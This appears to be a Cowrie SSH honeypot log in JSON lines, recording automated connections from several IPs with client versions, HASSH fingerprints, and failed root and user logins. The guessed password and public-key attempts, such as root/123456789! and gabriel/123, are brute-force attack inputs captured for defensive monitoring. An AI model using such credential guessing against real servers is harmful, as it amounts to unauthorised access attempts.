{"eventid":"cowrie.session.connect","src_ip":"154.144.225.226","src_port":34532,"dst_ip":"159.203.135.109","dst_port":22,"session":"503b585e93b4","protocol":"ssh","message":"New connection: 154.144.225.226:34532 (159.203.135.109:22) [session: 503b585e93b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:54:59.278461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:54:59.283427Z","src_ip":"154.144.225.226","session":"503b585e93b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:54:59.408778Z","src_ip":"154.144.225.226","session":"503b585e93b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789!","message":"login attempt [root/123456789!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:54:59.943209Z","src_ip":"154.144.225.226","session":"503b585e93b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:55:01.072640Z","src_ip":"154.144.225.226","session":"503b585e93b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":52996,"dst_ip":"159.203.135.109","dst_port":22,"session":"644b886bf594","protocol":"ssh","message":"New connection: 103.149.28.157:52996 (159.203.135.109:22) [session: 644b886bf594]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:55:16.358721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:55:16.370198Z","src_ip":"103.149.28.157","session":"644b886bf594","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:55:16.621623Z","src_ip":"103.149.28.157","session":"644b886bf594","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bearshare","message":"login attempt [root/bearshare] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:55:17.373318Z","src_ip":"103.149.28.157","session":"644b886bf594","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:55:18.626995Z","src_ip":"103.149.28.157","session":"644b886bf594","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"121.168.139.251","src_port":33898,"dst_ip":"159.203.135.109","dst_port":22,"session":"9107a3cff516","protocol":"ssh","message":"New connection: 121.168.139.251:33898 (159.203.135.109:22) [session: 9107a3cff516]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:55:24.909667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:55:24.914332Z","src_ip":"121.168.139.251","session":"9107a3cff516","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:55:25.113127Z","src_ip":"121.168.139.251","session":"9107a3cff516","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gabriel","password":"123","message":"login attempt [gabriel/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:55:25.941613Z","src_ip":"121.168.139.251","session":"9107a3cff516","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:55:27.144087Z","src_ip":"121.168.139.251","session":"9107a3cff516","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.176.122.24","src_port":44148,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb18c4f7019b","protocol":"ssh","message":"New connection: 122.176.122.24:44148 (159.203.135.109:22) [session: cb18c4f7019b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:55:30.012772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:55:30.022902Z","src_ip":"122.176.122.24","session":"cb18c4f7019b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:55:30.320091Z","src_ip":"122.176.122.24","session":"cb18c4f7019b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gabriel","password":"123","message":"login attempt [gabriel/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:55:31.463278Z","src_ip":"122.176.122.24","session":"cb18c4f7019b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":60986,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2ccf6663d13","protocol":"ssh","message":"New connection: 194.113.233.25:60986 (10.17.0.5:22) [session: d2ccf6663d13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:55:31.555875Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:55:31.560289Z","src_ip":"194.113.233.25","session":"d2ccf6663d13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:55:31.652940Z","src_ip":"194.113.233.25","session":"d2ccf6663d13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sweden","message":"login attempt [root/sweden] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:55:31.946170Z","src_ip":"194.113.233.25","session":"d2ccf6663d13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:55:32.744315Z","src_ip":"122.176.122.24","session":"cb18c4f7019b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:55:33.041364Z","src_ip":"194.113.233.25","session":"d2ccf6663d13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.135.157.99","src_port":55962,"dst_ip":"10.17.0.5","dst_port":22,"session":"1eb032b4884e","protocol":"ssh","message":"New connection: 185.135.157.99:55962 (10.17.0.5:22) [session: 1eb032b4884e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:55:41.025041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:55:41.030082Z","src_ip":"185.135.157.99","session":"1eb032b4884e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:55:41.116525Z","src_ip":"185.135.157.99","session":"1eb032b4884e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"12:42:4a:69:21:3c:85:69:7b:df:66:89:fa:c7:f4:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdSuENb2mTBGDARoe8zloHd3BqPTfPgfKR3wdJfxII1gLr6SYXMELIOS9DqXM5SB1un7kKGp+tBi/TB8Ogih5JIduo15zej/KQyj0GuFhz2e1EiY/qN9zCQLsWOf4FIBNrED2+DvucMlTmR8B2frSPxVRbPcd1V3MDCh1mac+lZ6CDKIXbIdudNGFEGxwrgGzNWrr80n6Es2Vxc7/T+j7D7Oqnl+1O+C+HGag1PZ5YWGEMjWQ9Ak5I4IZiWWp/FptYM25N9s6R5wozsvvisnp6Qm9x2cD5qQ0HU0jHhv8ZbBmRc2Z8s3zsMGCe1zYD2m5A6dF32dzpFJ/dIxvBChtV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 12:42:4a:69:21:3c:85:69:7b:df:66:89:fa:c7:f4:33","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:55:41.512797Z","src_ip":"185.135.157.99","session":"1eb032b4884e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"12:42:4a:69:21:3c:85:69:7b:df:66:89:fa:c7:f4:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdSuENb2mTBGDARoe8zloHd3BqPTfPgfKR3wdJfxII1gLr6SYXMELIOS9DqXM5SB1un7kKGp+tBi/TB8Ogih5JIduo15zej/KQyj0GuFhz2e1EiY/qN9zCQLsWOf4FIBNrED2+DvucMlTmR8B2frSPxVRbPcd1V3MDCh1mac+lZ6CDKIXbIdudNGFEGxwrgGzNWrr80n6Es2Vxc7/T+j7D7Oqnl+1O+C+HGag1PZ5YWGEMjWQ9Ak5I4IZiWWp/FptYM25N9s6R5wozsvvisnp6Qm9x2cD5qQ0HU0jHhv8ZbBmRc2Z8s3zsMGCe1zYD2m5A6dF32dzpFJ/dIxvBChtV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:55:41.516713Z","src_ip":"185.135.157.99","session":"1eb032b4884e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e2:02:92:00:5b:67:13:59:35:7c:33:d1:e3:f5:90:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDva1vdN2YE5TiYNEQAf79EHQ7QyXhX7ybtUHE4RlpKHggUZ9evwXgEooF1AKlRY8kJrX6MwTOu8hxH0ox0auKUNX3OeLJKDDiV7PrR0RyU9jpUg8qwCOQxxcKhCvFFtc+Balpb0/cHjdIoe/nezXu9fgH7ii60DgIYemaxU46OQaMvRNB3geLNAJG3VyDQEPOOsiMre+ViTUXiD28wLir8GQliTJg9sAAeQVDvTBraRQCGXHGxcooMW0dX45HrWc1OGE/n5LrX3LhfRX5Y5jlOMyWttbWuBD6GWqqSa+q2Jf0w2KfQaObPoRDZwlOYWlKTpRaSticNvfGj/TVUfGfOkLj0XKUVgtneIVehd+Y39wmm0pyFoC8WfMr+s3h7B5jF/QmXSXz5Am7eoDb+fBSNCW2K2MUDVroodnl7UW+3Lbt4RzloqYLw5DC2OsUqBI5Po6VxVRBGoXA6/Bcis28kqyeBOibhB5+3xmCm1Cl37vc6W9MctRBJ0DE+eC7Ch20=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e2:02:92:00:5b:67:13:59:35:7c:33:d1:e3:f5:90:24","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:55:41.601289Z","src_ip":"185.135.157.99","session":"1eb032b4884e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e2:02:92:00:5b:67:13:59:35:7c:33:d1:e3:f5:90:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDva1vdN2YE5TiYNEQAf79EHQ7QyXhX7ybtUHE4RlpKHggUZ9evwXgEooF1AKlRY8kJrX6MwTOu8hxH0ox0auKUNX3OeLJKDDiV7PrR0RyU9jpUg8qwCOQxxcKhCvFFtc+Balpb0/cHjdIoe/nezXu9fgH7ii60DgIYemaxU46OQaMvRNB3geLNAJG3VyDQEPOOsiMre+ViTUXiD28wLir8GQliTJg9sAAeQVDvTBraRQCGXHGxcooMW0dX45HrWc1OGE/n5LrX3LhfRX5Y5jlOMyWttbWuBD6GWqqSa+q2Jf0w2KfQaObPoRDZwlOYWlKTpRaSticNvfGj/TVUfGfOkLj0XKUVgtneIVehd+Y39wmm0pyFoC8WfMr+s3h7B5jF/QmXSXz5Am7eoDb+fBSNCW2K2MUDVroodnl7UW+3Lbt4RzloqYLw5DC2OsUqBI5Po6VxVRBGoXA6/Bcis28kqyeBOibhB5+3xmCm1Cl37vc6W9MctRBJ0DE+eC7Ch20=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:55:41.605293Z","src_ip":"185.135.157.99","session":"1eb032b4884e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"57:71:48:af:ed:24:30:4b:3e:f7:88:3b:0b:98:8f:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEA4TCdleQdmKc0dkgaG5HCtviqBXbNWHJ5zQxxZqeLcicDhwaKdg3OL2AFNJw0B5rF0YjLRXyCyLN4S0tf8wagXNARm5kfC0LItm6jXExIGADI8FTAWJxPDtvrfFfyirRV+qnBqbSLHESit3z5kMm7nM8Rpih4hkIPfH1hLEtanoY2NoghI6qsYzyFz1Db0GTGDmwPq4QPeZ1kHiMIx1dtj298upq9uisPqQaKAu5sl2Hoot5c1u6YmhgOJOoF6/eiXdYjYBLEfWpP6H6uRF5TKp7ukRabYtP7foOo6cUJqSsV8U6m1Us9tb0qlVGHDFHmngcj4wPvV0Z3qVThOk757+STpnxwWJObmJzb2+RXCsWpSrCCz0fSKWA8VNFxcOWZ4eFK/oYrYKm7fyLKcgx19coa1V2yVg3+xtNXfLlRldjeL8uYFLwxFcWArYK83LBTDleGLWniXsu89x1EQMfusFnf1XuFJOt4mb7c6tk5YsRqlO3nfBIR+EWhdhAOqZ7gr4jLeiz16bomPUuLU05m1citXTXvQSuq0iiFnTNwezHBc5Uqbc2KckPhjNRLK4TXwoT/0lu4Hu8W4wovxTJWD6c0++tojll1mo/2b1ICb/Kmpim+Ut5QbUzVT9EAdlDZPuVqHb6NvALUtsjoBMhjyCtrDLFqxGW3yfBx6+pYeu8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 57:71:48:af:ed:24:30:4b:3e:f7:88:3b:0b:98:8f:e5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:55:41.689273Z","src_ip":"185.135.157.99","session":"1eb032b4884e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"57:71:48:af:ed:24:30:4b:3e:f7:88:3b:0b:98:8f:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEA4TCdleQdmKc0dkgaG5HCtviqBXbNWHJ5zQxxZqeLcicDhwaKdg3OL2AFNJw0B5rF0YjLRXyCyLN4S0tf8wagXNARm5kfC0LItm6jXExIGADI8FTAWJxPDtvrfFfyirRV+qnBqbSLHESit3z5kMm7nM8Rpih4hkIPfH1hLEtanoY2NoghI6qsYzyFz1Db0GTGDmwPq4QPeZ1kHiMIx1dtj298upq9uisPqQaKAu5sl2Hoot5c1u6YmhgOJOoF6/eiXdYjYBLEfWpP6H6uRF5TKp7ukRabYtP7foOo6cUJqSsV8U6m1Us9tb0qlVGHDFHmngcj4wPvV0Z3qVThOk757+STpnxwWJObmJzb2+RXCsWpSrCCz0fSKWA8VNFxcOWZ4eFK/oYrYKm7fyLKcgx19coa1V2yVg3+xtNXfLlRldjeL8uYFLwxFcWArYK83LBTDleGLWniXsu89x1EQMfusFnf1XuFJOt4mb7c6tk5YsRqlO3nfBIR+EWhdhAOqZ7gr4jLeiz16bomPUuLU05m1citXTXvQSuq0iiFnTNwezHBc5Uqbc2KckPhjNRLK4TXwoT/0lu4Hu8W4wovxTJWD6c0++tojll1mo/2b1ICb/Kmpim+Ut5QbUzVT9EAdlDZPuVqHb6NvALUtsjoBMhjyCtrDLFqxGW3yfBx6+pYeu8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:55:41.693198Z","src_ip":"185.135.157.99","session":"1eb032b4884e","protocol":"ssh"}
